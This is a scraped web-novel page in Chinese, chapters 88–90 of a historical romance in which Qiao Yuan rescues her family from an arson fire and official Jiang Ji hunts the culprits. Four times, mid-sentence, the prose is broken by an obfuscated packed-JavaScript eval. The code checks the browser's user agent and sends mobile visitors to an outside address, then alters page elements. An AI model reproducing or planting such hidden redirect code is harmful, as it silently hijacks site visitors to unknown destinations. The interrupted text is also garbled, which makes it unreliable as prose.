“好。”江稷应了一声，扶着纪师往巷口走。 还没走出几步，乔元忽的又追了上来。“江稷，等等！” “什么？”江稷回头，话语里带着自己都未曾察觉的期盼。 乔元掏出一本册子递到他手里，“呐，除治盐碱地的方法，还有适宜在盐碱地上种植的农作物，我已经都写在上面了。” 昨日意外颇多，她一时竟忘了给他。 没成想乔元叫住他是为了这件事，江稷眼眸微暗，接过册子放入怀中，“多谢。” “不必客气，行了，你快回去罢。”乔元冲他摆摆手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725752|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少女的眼里清澈纯净，看他的眼神没有丝毫别的念头。 江稷站在原地看了她半晌，忽然起了几分恶劣心思。 他扶着纪师转过身，猛地凑近乔元的脸颊。 “江……江稷？”乔元呆立在原地，被他的这一举动弄得有些不知所措。 带着酒味的鼻息喷涌在乔元脸上，乔元甚至都能感受到他炽热的体温。 他他他……这是要作甚！乔元的心潮已然涌起惊涛骇浪。 江稷的唇在离乔元一尺的距离停住，他饶有兴致地细细打量乔元这难得一见的呆傻模样。直到看满意了，他才自喉头发出一声低哑的轻笑，抬手刮了一下乔元的嘴角，“这里，沾到东西了。” 指尖刮下的酱料，被他当着乔元的面很是随意地舔入嘴里。 做完这一切，江稷缓缓直起身子，朝她痞笑道：“行了，我走了。” 说罢，他扛着摇摇晃晃的纪师，头也不回地往外走去。 而站此刻在原地的乔元，只觉得有什么东西在自己的脑中‘轰’得一下炸开来，大脑宕机到几乎无法思考，她的脸颊更是红得比灶台下的火还要滚烫几分。 ……这人！这人！ 这人分明是喝醉了罢！ 乔元连自己是怎么回的家都不知道，她只觉得自己脚步虚浮，如坠云端，整个人有有些轻飘飘的。 周素见了她这般模样，怪道：“元姐儿你这是怎么了？脸这样红？” 乔元张口说也不是不说也不是，最后只得随意同周素扯了个理由，便借口还有事快速进了屋。 房门隔绝了他人的目光，背身压在门上，乔元只觉得自己的心脏在狂跳。 她一闭眼，眼前就是江稷凑近她的那张脸。 闭眼哀嚎了好几声，乔元花了好一番功夫才调整好心态。一直到洗漱完毕，她的这脸才终于降下温来。 按乔元的习惯来说，洗漱完毕，她总要在桌案前学习一会儿才肯入睡。只是今日，她手里捏着竹笔，在桌案上坐了良久，愣是写不出一个字。 知道今日是学不成了，乔元只得满是怨气地爬到了床上。 抱着被子左右翻滚好几个周天，乔元在心头恶狠狠地想道，该死的江稷！下次见面，她绝对不会轻饶过他！ 绝对！ 脑海里想着揍翻江稷的各种动作，乔元也记不得自己是什么时候睡着的。 直到半夜，她忽然觉得自己的周身很是燥热，喉咙干得发紧，周围的一切似乎都热得发烫，她甚至还听到了一些细微的声响。 强逼着自己睁开眼，在看清屋外的一切后，乔元陡然瞪大眼睛，整个人霎时清醒过来。 赤色的火焰在屋外翻腾灼烧，将屋内映得亮如白昼。木材在高温下‘哔啵’作响，发出痛苦的呻吟。浓烟和焦糊的味道通过木门透入屋内，刺鼻的气味几乎让人难以呼吸。 乔元攥紧身下的薄被，脸色苍白如纸。 是火！ 家里着火了！ 88. 骤变（五） 屋外火光冲天，浓烟顺着门缝一波一波地往屋内飘来，张牙舞爪地像是来索命的阴鬼。 明明是生死存亡的危急时刻，乔元却冷静的可怕。 她的眼神快速扫过屋内，最终锁定在了床尾的木桶上。木桶里还残留着昨晚她擦身留下的半桶水。 连一丝犹豫也无，乔元迅速翻身下床，抓起帕子浸水掩住口鼻，紧接着将桶里的水直接倾身淋下。 做完这一切，她脑中已然规划好了路线。她的房间和乔长平兄弟俩的连着，而乔满山和周素则住在另一侧。她得先就近去叫醒大哥和永言，再去救爹和娘。 带上严维运给的书册，乔元一脚踹开了有些烫手的房门。 房门打开的一瞬间，火舌裹挟着热浪扑面而来，若不是她此刻浑身濡湿，怕是顷刻间就会被点燃。侧身险险避过燃烧的木橼，乔元当即躬下身子匍匐离开房间。 目力所及之处，皆是夹杂着浓烟的暗红色火焰，夜半风急，火势随风愈发张扬。 此刻，乔元的面色已经沉的不能再沉。 院子里能燃的只有厨房一侧的柴火堆和一些花草，但以现在的火势，没过多久就会烧到横梁和支柱，到了那时，整幢屋子必会坍塌。 时间紧迫，她得叫醒家人逃出这里，越快越好。 明明她同乔长平的房间不过几尺距离，短短一段路，乔元走的却是险之又险。木橼燃烧后的碎屑在不断掉落，浓烟同样在不断下冲，纵然她已经用湿帕子捂住口鼻，也觉得有些抵挡不住。 等到乔长平门前，火舌已然爬满木门。 顾不得害怕，乔元故技重施直接一脚上去，木门应声而开。 迅速窜入屋内，屋顶上已经布满浓烟，有红色在浓烟里忽明忽灭。 “大哥，大哥！”乔元径直走向乔长平床前。 乔长平双眸紧闭，还在酣睡。 不对劲。 火势这么大，不管昨夜酒喝得有多醉，都应该醒了才是，怎么会到现在都没动静。 乔元直接上手用力掐住他的人中，另一只手则拧在他的手臂上。 在双重痛觉刺激之下，乔长平眼睫微闪，终是睁开了眼，“元姐儿，你怎……火！” 见到火的一瞬间，乔长平直接惊坐起来。 来不及同他废话，乔元道：“大哥，你现在带着永言出去找人救火，可听明白了？” “我……”乔长平还没说完话，乔元转身就往爹娘的屋子走。 “等等！元姐儿！”乔长平翻身下床，快步走到乔元身侧拉着她，“你带永言出去，我去救爹娘。” 在火场里，多犹豫一秒就多一分危险。 乔元直接将湿透的袖子递到他手里，“大哥，我身上浸了水，火烧不到我，你且放心。” 说罢，她猫着腰，一个闪身就离开了他的屋子。 眼见妹妹又重新入了火场，乔长平知道自己耽误不得，他走到隔壁想叫醒乔永言，却见弟弟面色潮红，已然呼吸困难。 来不及了！ 乔长平扯来外衣，裹着乔永言不被火焰伤到，顾不得一切直接往外冲去。 他得快些带永言出去，再来救元姐儿和爹娘！ 厨房火势连绵，又连着乔满山的屋子，乔元没办法从外头绕路过去，只能看看能不能从堂屋突围。 手上没有趁手的器具，乔元这一路走得极尽艰难。不仅要猫腰躬身躲避浓烟，时不时还会被掉落的木橼拦住去路。 火已经烧到了房梁，越往里走火势越大，爹娘的房门早已被火掩埋，乔元的心愈发沉入谷底。 长时间处在浓烟中，她开始觉得有些脱力，但还是抬脚用力踹着房门，一次不行就两次，两次不行就三次，直到把房门踹开为止。 腿脚上的水已经被烤得半干，有火星子将裤腿燎出洞来。顾不得拍灭火星子，抓住机会，乔元一个跳步直接入了爹娘的房内。 屋内的浓烟比乔长平的屋子还大，靠门边的柜子已经起了火，再晚来一步怕是整个屋内都要被点着了。 “咳咳，元姐儿……”有声音从床上传来。 乔元定睛一看，是周素。 周素被烟呛了喉咙，止不住得咳嗽，她满眼焦急，“别管我们，你快些走。” 她身侧的乔满山双眸紧闭，还未醒来。 来都来了，不救出爹娘乔元是绝不会走的。 靠近床边用力掐着乔满山的人中，不知是昨晚酒醉太过还是怎样，不论乔元怎么掐，乔满山都没有转醒的迹象。 周素见状，同样也在用力拍打着乔满山的脸，纵然二人已经用尽全力，却没起丝毫作用。 火焰发出‘滋滋’的声响，慢慢爬上承柱。 再不走，怕是要走不掉了。 周素停下拍打乔满山的手，抓着乔元迫使她看向自己，眼瞳带着不舍，话语却很是坚定，“我和你爹已经活够了，但你不一样。元姐儿，你快走。” 简短的一句话，乔元鼻尖酸得落泪。她摇头对周素道：“阿娘，要走一起走，我还有办法，我们一定能逃出去的。” 乔满山太重，光凭乔元和周素是绝对搬不动他的。乔元把二人床上的棉被铺在地上，示意周素同她一起用力，将乔满山翻下来。 周素从醒过来就浑身酸软，又被浓烟呛了喉咙。见女儿冒着生命危险也这样坚持，她不知道哪里生出来的力气，用力一推，直接将乔满山推到了棉被上。 乔元拿起剪子，剪下身上沾水的衣角递给周素，“阿娘，捂好口鼻，我们走。” 周素拦着她，站在她面前，“要走也是阿娘在前头给你探路。” 母女二人一人拉着棉被一角，将乔满山夹在中间，往屋外拖去。 才这么一会儿的功夫，堂屋已经被火烧穿，乔元的来时路已经全变成了火海。 事态发展到如今，一个决策错误，瞬间就会丢了三人的性命。 乔元额间开始冒汗，生死存亡的压力对她来说实在太大。 用力拧了一下大腿让自己保持清醒，乔元对周素打了个手势，示意走厨房过。 相比较刚烧起来的堂屋，厨房里头的柴火已经有大半燃尽，火势比堂屋略微小上一些。而且乔满山每日回来，都会帮周素将厨房里的水缸打满水。大火过后，虽然不知道缸里的水还能剩多少，但这对她们来说，是唯一的机会。 乔元看了一眼躺在棉被上生死未卜的乔满山，用极易起火的棉被拖着他纯属无奈，若能将水洒满棉被，也算是暂时有个隔火层。 母女俩相视点头，周素躬身贴地走在前头，乔元则稍落后一些，二人就这样一步一步地拉着乔满山，往厨房的方向挪去。 地上都是木头燃烧后留下的碎屑，还有不少从上头坠落的木块和瓦片。 好在棉被靠地的被面还算光滑，纵然乔满山很是笨重，母女就这样咬牙用力，勉强还是将他拖到了厨房里。 此刻的棉被已经被燎出了好几个大洞，若不是乔元眼疾手快按灭棉被上的火星，乔满山此刻怕是也已经被烧到了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751607|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让周素看顾乔满山，乔元一手抱头一手捂着口鼻，往水缸方向走。 满满一水缸的水，如今已经见了底，触手滚烫。 乔元脱下外衣，直接将它浸在仅剩的水里，确保外衣湿透后，不顾灼人的热度，直接将它披在了身上。 许是吸了太多浓烟的关系，越往外走，乔元越觉得眼前开始发黑，肺里也有些喘不上气。不知怎的，她有些无厘头地想着，今日若不幸死在这儿，也不知道江稷的脸上会露出什么样的表情，她还没来得及打他几下出出气呢。 回到周素身边，乔元脱下沾水的外衣，直接披到她身上。周素几次想推却，都被乔元按了回去。 乔元看向最后的门廊，只要能走完这段路，她们就会有生还的可能。 只是她的眼前愈发模糊，眼皮也越来越重。乔元知道，自己这是开始缺氧了。 披上湿衣的周素走在前头，怕让她担心，乔元并未作声。 乔长平已经带着永言逃出去了，他若能快快带人来救援，她们一定能活。心头正想着这事儿，乔元忽听得外头有人在喊，“元姐儿！爹！娘！你们在哪里！”是乔长平的声音。 这一句落下，母女俩俱在彼此眼中看到了喜意，长平来救她们了！ 一鼓作气，母女俩拉起棉被就往外走，却不料此刻变故陡生。 支撑横梁的承柱大半被烧成了焦炭，受不住横梁的重量，直接倾倒了下来。这一砸下来不要紧，连带着半个厨房直接塌了。 周素连想都来不及想，直接扑到了乔元身上。灼热带火的木头连带碎瓦一并落到她身上，乔元只听得周素闷哼一声，有鲜血混了她的汗水，从额前一路滴到脸颊。 “阿娘！” 急唤了左邻右舍前来扑火的乔长平，忽然听到了乔元声嘶力竭的一声‘阿娘’，他的心脏直接停跳了一瞬。 乔长平此刻已经连一丝理智也无，白着脸就往厨房的方向冲。 左邻右舍自是拦了又拦。 “别拦我，求求你们别拦我，我的爹娘和妹妹都在里面啊……”七尺男儿跪倒在地，哭声呜咽。 “别去，别去啊，里头火这么大，你去了岂不是送死。”邻里的汉子死死拽着他不放手。 乔长平用尽全身力气也甩不开抱着他的汉子，只能看着一桶桶水被扑入火场，在热力下蒸腾而出。 就在他万念俱灰之际，忽然听闻一阵急促的马蹄声。 有个从未见过的年轻的男子迅疾而入，他身后跟着几十个人，乔长平只听得他道：“所有人听令，全力救火不得怠慢。” 乔长平浑浑噩噩的眼底燃气希望，他抓着男人的手，快速指了指厨房的方向。“求求你，救救我爹娘同妹妹，她们还在里头。” 贺令璟看了一眼厨房的方向，会意道：“高锐。” 站在他身后名为高锐的汉子在身上浇了两桶水，直接朝厨房的方向奔去。 贺令璟紧随其后。 乔长平见状，趁着邻居汉子不备，挣脱了他的的束缚，也跟着跑了进去。 —— 巡检司。 昨晚回到巡检司，纪师闹了小半个时辰才肯歇下。 等江稷安置好他，再处理完公务，真正入睡都已经是后半夜了。 被一阵急促的敲门声惊醒，江稷抚了抚额头，简单披好外衣下床。 门被打开，外头站着的是面色焦急的邹尧。 还未等他开口，邹尧急道：“大人不好了，青石巷乔姑娘家起火了！” 89. 骤变（五） 厨房坍塌下来，从房梁上掉落的炭灰和四散的浓烟，迷蒙了视线。 即便周素替自己挡了大半伤害，乔元还是觉得周身又热又痛。 浸湿的帕子和衣服已经要被烤干，眼前一片眩晕，乔元觉得自己快要撑不下去了。 用尽力气将盖在周素身上的东西推开，炭火灼得她双手生疼，乔元却像没有知觉似的，不管不顾地也要将它们一块一块地从周素身上扫下来。 下头没有足够的氧气，木头们不充分燃烧导致浓烟一阵一阵地涌出，乔元的脑袋开始出现剧烈疼痛。 纵然如此，她还在咬牙坚持扯着周素和乔满山往外爬动。只要能往外头多爬一寸，生的希望就能多上一分。 没有帕子捂着嘴，没一会儿乔元就被烟熏得剧烈咳嗽起来。肺部因为极度缺氧，乔元的眼前开始昏黑一片。 看来今日真得交代在这里了，乔元有些自嘲地想着。 就在她闭眼接受死亡的那一刹，一桶接着一桶的水从天而降，直接浇灭了大半的木头。 “乔姑娘！”随之而来的是焦急的叫喊声。 听到有人叫她的名字，乔元满心混沌地想着，‘江稷今日怎的这样有礼貌了？’，缓缓睁开眼，映入眼帘的却是贺令璟皱成一团的眉眼。 贺令璟看着面前明显眼瞳失焦的姑娘，暗道不好，“快，郎中可来了？快来此处看看。” —— 江稷带着纪师策马狂奔而来的时候，见到的就是刚从火堆里被挪出来的乔元一家。 乔家的火已经扑的差不多了，流水滴答作响，现场除了火烧后的烟味，已经不再有浓烟冒出。拿着灭火工具跟着江稷跑来的巡检司差役，一时站在原地不知该怎么办。 勒紧马绳急停在乔家门前，江稷扯着纪师就往乔元身边走。 “让让，哎呦，快让让。”几个时辰前还在一起吃饭，转眼间就成了这样。纪师知道江稷心急，也没多责怪他的粗鲁，跟着快步往里走。 贺令璟请来的大夫正在一旁蹲着救治，纪师上前一瞧，直接将那人推了出去。“让开，你这针法不对，再拖延下去她们必死无疑。” 被推出去的郎中一屁股坐在地上，不满的看向纪师。 “你这是作甚？！”贺令璟冷脸起身，面向江稷。 江稷拦在纪师面前，冷冷道：“你先救人。” 不用他多废话，纪师已经拿出了随身的银针开始给乔家人下针。 “乔姑娘危在旦夕，还望巡检使不要意气用事。”贺令璟朝江稷步步紧逼。 江稷挡在前头一步不退，“这里没人比老头的医术更好，带着你那些庸医滚远些。” 贺令璟对他已有诸多不满，他讽道：“乔姑娘家夜半失火，烧成这样巡检司才刚来救援，今日之事，巡检使怕是难逃罪责。” 江稷道：“我自会清查巡检司，就不劳贺公子费心了。” 二人谈话的功夫，纪师已经快速施针完毕。他擦擦汗走到江稷身边，“我用银针吊着气，得赶紧去煎药来。还有，这儿临近火场都是浊气，快找个地方安置才是。” 江稷点点头，喊了邹尧带人进来抬人。 贺令璟看了高锐一眼，后者马上会意挡在门口，他道：“巡检使这是何意？” 见到乔元这副模样，江稷哪里还有心思同人周旋，他现在已经是极大限度的忍耐维持着心绪体面。 高锐带人堵在门口，巡检司的差役压根进不来。两方针锋相对，邹尧的手已经按在了刀把上。 “叫你的人让开。”江稷朝贺令璟下最后通牒。 “巡检使还是先回去管管巡检司人渎职一事罢，我自会好好安置乔姑娘一家。”贺令璟同他对峙不下。 忍无可忍，无需再忍，江稷直接朝贺令璟动手。 一见主家有难，高锐迎头而上，挡在贺令璟身前。 江稷此刻已是盛怒至极，又哪里是高锐可以抵挡得住的。 不过几招，他就败下阵来。 江稷单手将贺令璟抵在烧黑的墙壁上，狠戾道：“带着你的人滚开，不然我可不保证你的死活。” “今日我定要带走乔姑娘，巡检使有本事就杀了我。”贺令璟还在激他。 江稷单手握拳，青筋暴起，仿佛下一瞬拳头就要带着雷霆之势落在贺令璟脸上。 “江大人！”乔长平去隔壁接了乔永言回来的功夫，就见二人在角落里剑拔弩张。心道不好，他赶忙跑过去阻止，“二位都是我们乔家的贵人，就别为此伤了和气了。” 见江稷不为所动，他又朝贺令璟道：“贺公子，救命之恩感激不尽，待我家人醒后，定会上门拜谢。只是如今情况危急，还请二位高抬贵手，先救救我妹妹同爹娘吧。” 一提到乔元，江稷最终还是松了手。 他转身对邹尧道：“把人带走，若有人敢阻拦，拔刀便是。” 听江稷这么说，跟着来的差役登时有了底气。 对方是带刀的官差，贺令璟手下的人自然不敢妄动。主家站在一旁并未发话，他们也只能眼巴巴地看着巡检司的人将乔元一家带走。 事情和平解决，乔长平对着贺令璟自是千恩万谢，而后才跟在在江稷后头小跑走了。 目送一行人走远，贺令璟扭了扭方才被掐的手腕，眉目阴郁。 没激地他暴起伤人，当真可惜。 —— 乔元醒过来的时候，窗外夕阳瑰丽一片，层云被染上色彩，碎星在天际显现。 将目光从窗外收回，她细细打量着周遭的环境。刚一转头，就看到了坐在桌子上单手撑下巴的江稷。 男人眼下发黑，青色的胡须拉碴，整张脸都是掩饰不住的疲惫。 不知道自己昏睡了多久，乔元试探性地想起身，却发现身子很是无力，双手都被纱布帮了起来，连撑手都做不到。 她这一点响动，惊醒了桌边的江稷。 骤然苏醒，江稷的眼瞳有些虚焦，但还是第一时间看向了床上的乔元。见到乔元眨巴眼的一瞬间，虚焦的眼瞳有了神采，他面上是抑制不住的喜色，急匆匆地冲向床边。“醒了？可还有什么不舒服的地方？” 乔元摇摇头道：“多谢。” 说出的声音像公鸭叫。 一瞬间，乔元的脸爆红，整个人很是羞赧。 见她终于有了生气，江稷放松心神跟着笑了出来。 自打失火那天起，乔元整整昏迷了两天，江稷也跟着不眠不休守了两天。中间还夹杂着追踪起火原因和巡检司守夜人失职一事，他为此忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761382|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得焦头烂额。 纵然纪师说一切包他身上，江稷还是不放心，只要有空就一定会来这儿守着。 好在，一切还来得及。 走到桌边给乔元倒了水来，小心翼翼地扶起她喂她喝下，江稷这才道：“你躺下再歇歇，我叫纪师进来替你把脉。” 他刚起身想走，就被乔元叫住。 看出她面上的急色，知道乔元想问什么，江稷轻声道：“你家人无事，你爹娘也早就醒了，放心罢。” 闻言，乔元这才粲然一笑冲他点点头。 将乔元的被子掖好，江稷起身出门去找纪师。 纪师正在给乔家人把脉，骤闻江稷唤他，还当是什么事。 一听江稷说是乔元醒了，还在等着把脉的乔家人哪里还顾得上别的，一窝蜂地涌了进去。 纪师在后头紧追着，“哎，别挤别挤，记得给小丫头留地透一口气。” 屋里，乔元正百无聊赖地盯着床架子发呆，忽然听到外头一阵急促的脚步声，随即便听得周素哭天喊地道：“元姐儿，我的元姐儿，你算可醒了！” 一瞬间，乔家四口人一窝蜂地从门口挤进来，扑在她的床边，每个人眼里都含着泪。 “大家这是？”有了方才江稷给的水润喉，乔元说话声虽依旧低哑，但起码不再那么像公鸭子。 周素擦擦眼眶里的泪，上前道：“傻孩子，你怎能为了救阿娘连命都不要了。听纪老说你吸烟尘太多，差点要醒不过来的时候，你可知阿娘有多后悔。” 乔长平跟着双手合十道：“老天保佑，老天保佑，还好元姐儿醒过来了。” 乔永言趁着自己人小，直接挤到了最前头，他的小手摸了摸乔元的额头，小大人般道：“二姐姐，你没事真是太好了。” 一家人在乔元床前热热闹闹地说着话，只有乔满山站在靠后一些的地方，看着她说不出话来。 “爹？”乔元看向他，自打进屋，她爹就有些不对劲。 乔满山偏过通红的双眼，好容易才忍住情绪道：“元姐儿，是爹对不住你，若我那日没喝那么多酒，也不至于连累你落得如此下场。” 后头进来的纪师一听乔满山的话，忍不住出言反驳道：“我不是说了，这事儿同你没关系。” 纪师甫一进来，乔家人很是默契地给他让路。他很是随意地坐在了乔元的床沿，替她号起脉来。 一边号脉，他一边道：“你们昏迷不醒，是因为那火里被加了安息凝神的东西，同喝不喝酒没什么大关碍。乔老弟，我同你说了这事儿千万别往心里去。” 纪师明显话里有话，乔元闻言，眉目一凛道：“是有人故意纵火？” “嘿，小丫头的脑子就是好用。”纪师把手从乔元腕间收回，忍不住打趣道：“怪不得严三要收你为徒，连我都有些喜欢你了。行了，既然醒了身体就无大碍，我重新给你拟个方子，没两日就能病愈了。” 乔元此刻哪里管的上自己的身子，她一心想知道纵火之人是谁。 瞧出她眉宇间的急色，纪师拍了拍她的肩膀道：“丫头，你先歇着，这事儿江稷已经在调查了，那小子定会给你个交代。” 与此同时，江稷立身屋外，看邹尧疾跑而来。 “大人，找到了。” 90. 骤变（六） 前夜事出紧急，江稷还没来得及探查，就先护着乔元回去救治了。 待翌日清晨时分，安顿好乔家人后，他带着纪师重新回了一趟青石巷。 彼时纪师才刚给乔元抓完药，甩着袖子面露不耐道：“那丫头才刚稳定下来，你有什么事这么着急得我过来？” “火里被人添了东西。”江稷道。 先前同贺令璟周旋之际，大火刚熄，他隐约闻到了一股极淡的清苦味道，但那味道既不是松针也不是柏木，莫名出现在火场里，必有古怪。 纪师是经年的老狐狸，一听就明白了江稷的意思。 恰逢此时邹尧来报，说最先起火的地方是乔家厨房外的柴堆，而后才是各处屋顶。 纪师闻言若有所思，让江稷把昨夜留下来看场的人清开，独自进了乔家，开始在木炭堆里翻翻找找。 乔家小院不大，四间屋子的外侧已经全数成了焦炭，暴露在外的横梁扭曲变形，只堪堪支撑着整幢房子。厨房坍塌后，倒显得整个地方都大了些，甚至能透过烧穿的地方清楚看到背后湛蓝的天空。 纪师照着邹尧说的，在里头翻翻找找了小半个时辰。 直到江稷排查完周遭人员，他才从火场里走了出来。 飞灰沾满纪师浑身上下，他的双手同脸颊更是黢黑无比。随意地擦擦手，纪师道：“是洋金花。” “洋金花？”江稷从未听闻。 纪师点头，“洋金花是一味药材，本身含有剧毒。若用量得当，能平喘止咳、解痉定痛，常用来解哮症。但若单一冲服，或是焚烧，被人吸入后，则会致使谵妄昏迷，意识模糊。” 在火里加了洋金花，对方一开始就奔着置乔家举家于死地的目的。到底是谁，同乔家有如此深仇大恨。 江稷沉声问道：“这东西何处能有？” 只要能找到出处，抓到罪魁祸首不过时间问题。 “难就难在这儿。”纪师叹了口气，“六月里，山野随处可见洋金花。” 气氛一时陷入僵局。 对方找了这样的东西入手，摆明了就是混淆视听让人找不到他的真身。 “不过，”纪师想了想又道：“想要有这样的效力，所用的洋金花定然是晒干炮制后的。” 江稷思索片刻，心头有了想法，他道：“无妨，既然知道是洋金花，我自然有办法能找出是谁。” —— 临风廊檐下，江稷接过邹尧手里的名册。 邹尧恭敬道：“大人，近几日驻留在金台县的往来商旅名单都在这儿了。” 打从纪师嘴里知道洋金花后，江稷即刻命楚津彻查了整个金台县的药铺和医馆。 洋金花含有有剧毒，非常人可以炮制。故而，持有它的药铺、医馆更是少之又少。 可惜的是，一番彻查下来，楚津却是一无所获。不过这个结果倒是在江稷预料之内，对方既然都打算置人于死地了，自然不会蠢到在金台县购入洋金花。 洋金花既不是本地出的，那便只能是外人带进来的了。在楚津彻查的同时，邹尧那头已经开始盘问出入金台县的商队。 雁过留痕，风过留声。事情既已发生，总有痕迹可循。 盘问商队费了邹尧不少功夫，终于在今日有了收获。 江稷翻开手里的名册细细查阅，随后问道：“你怀疑是五日前打南边过来的一支商队？” 邹尧点头，“这支商队怪的很，我们县并非交通要道，往来一般都是做些零散小生意的商客。但这支商队一共来了七八人，做的却是珠宝生意。” 金台县算不上穷，但也并不富庶。有周进在这里压了这么多年，商户的钱大半都进了他的口袋。到这儿来做珠宝生意，可不是什么明智之举。 “可知他们下榻何处？”江稷问道。 “醉仙居。”邹尧道。 金台县总共就这么一间最有牌面的酒楼，那一队商旅，上来便定了三间上房。 江稷阖起名册，示意邹尧即刻带人，他要去醉仙居一趟。 刚往前头迈开步子，江稷就听得乔永言从屋里出来，朝他恭敬有礼道：“江大人，我二姐姐烦请您过去一趟。” 在学塾读了这么些日子的书，在外乔永言已经不再是当初乡下那个只会捉猫逗狗的孩童，言行之间颇有古风。 江稷闻言，示意邹尧先去醉仙居，自己则跟着乔永言入了房内。 乔元好容易醒了，乔家几人在屋里其乐融融的，同她有说不完的话。 为了让乔元舒服些，周素在她身后垫了个软垫，又披了一件外衣，这才缓缓扶了她起来。 乔元坐起后，抬头就瞧见了周素后颈处的伤，她轻声道：“阿娘，你的伤还美好，先别忙活了，快歇着罢。” 周素帮乔元将头发捋顺，眼瞳里泛起爱怜，“阿娘不过受了点皮外伤，纪老已经给我上了药，不打紧的。” 知道周素这么说是为了让她宽心，但那日火场里的血是真的，乔元还是有些不放心，想再劝她。 可周素又哪里肯走，女儿昏迷的这两天，让她回想起乔元最初落水那段日子。那几日，自己散尽家财，求神拜佛问尽各路神仙，只为留下女儿一命。今日这遭险之又险，好容易才见女儿转醒，她说什么也断然不愿轻易离开。 江稷进屋，见到的就是乔元被一堆人围在中间的场景，床边挤得连个落脚地都没有。 他轻咳一声，往里走了几步。 乔长平见状，很有眼力见儿地让开了一块地方。 江稷顶了他的位置站在床尾一侧，出声问道：“寻我何事？” “听纪老说我家的火是有人蓄意纵的，可有什么线索吗？”乔元见他来，直言相问。 “我已经着人在查，今日应该就能有个答案。”江稷道。 那日在火场，乔元就已经觉出不对来，就算喝了酒，家人也睡得太沉了些。她没有避讳众人，说出心头想法，“若我料想不错，对方应是冲我来的。” 家人搬到金台县这么些日子，没同人起过龃龉。但她不同，这段时日同她起冲突的人可不少。 这点在调查之初，江稷就已经考虑到了，他道：“你且宽心，不论是谁，我必定会将那背后做鬼之人找出来。” 乔元的脸还苍白的有些过分，江稷深深地看了她一眼，才道：“你先在此地好好休息，我去去就回。” 说完这句话，他便同乔家人告辞，往外走去。 目送江稷的背影离开，乔元脑海中跳出了不少名字。 到底是谁？连她的家人都不肯放过？ 一旁的周素见乔元刚醒来就在为家事烦忧，她劝慰道：“元姐儿，你才刚醒，不宜如此劳心劳力。阿娘给你煮的粥还煨着，我取些来给你用可好？” 乔元不忍叫她担心，缓缓点头应下。 配合着喝完一碗粥，乔元身上有了些力气。 趁着这个间隙，她打量着这间豪华地有些陌生的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784125|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋子，突然问道：“阿娘，我倒没来得及问，我们这是在何处？” 坐在一旁的周素闻言，目露疑惑道：“江大人没同你说吗？” “什么？”乔元不解道。 “这是他的私宅。” ？ 乔元因病有些无神的眼睛忽得瞪大，江稷这厮，竟这么有钱？！ —— 江稷赶到醉仙居的时候，邹尧刚将人布控好。 见他来了，邹尧上前一步道：“大人，他们一行人在二楼雅间。” 吩咐差役留守在原地不要放了人出去，江稷抬步带着邹尧往二楼走去。 醉仙居二楼雅间，六七个大汉正坐在里头，满桌珍馐，觥筹交错，席间嘈杂声不绝于耳。 到了雅间门口，江稷只抬手轻叩两下门，便径直入内。 “这位兄弟？你这是？”坐在最外头的汉子见贸然进来个高个男人，起身问道。 江稷一派闲适地在雅间内的茶桌上坐下，“路过此地觉得有些口渴，进来讨杯水喝罢了。” “这儿是酒楼，要喝水你找仆役要去就是，当我们是傻子不成？”汉子听江稷这么说，瞬间火气就上来了。 “来人！仆役呢？”汉子刚大声吵嚷起来，住在主位上年纪大些的中年男子拍了下桌子，打断了他的话，斥道：“安静些。” 中年男子一发话，方才还盛气凌人的汉子直接噤了声，整个雅间里登时安静下来。 宋正齐起身走到江稷身前，躬身一礼后问道：“不知大人是？” 江稷单手转着杯盏，有些玩味地看着他：“你倒是好眼力，我乃金台县巡检使江稷。” 听江稷这般说，宋正齐面上愈发恭敬道：“大人谬赞了，如大人这般人物，在人群中看上一眼就能分辨出来，哪里是我眼力好。” 宋正齐说话的功夫，江稷一直在打量他。中年男人的腰虽弯着，背却挺得笔直。 有点意思。 躬身等待许久，也未见江稷作答，宋正齐眼眸转动后又道：“不知大人到访，所为何事。” 江稷放下杯盏，“你们是打南边过来做珠宝生意的？” 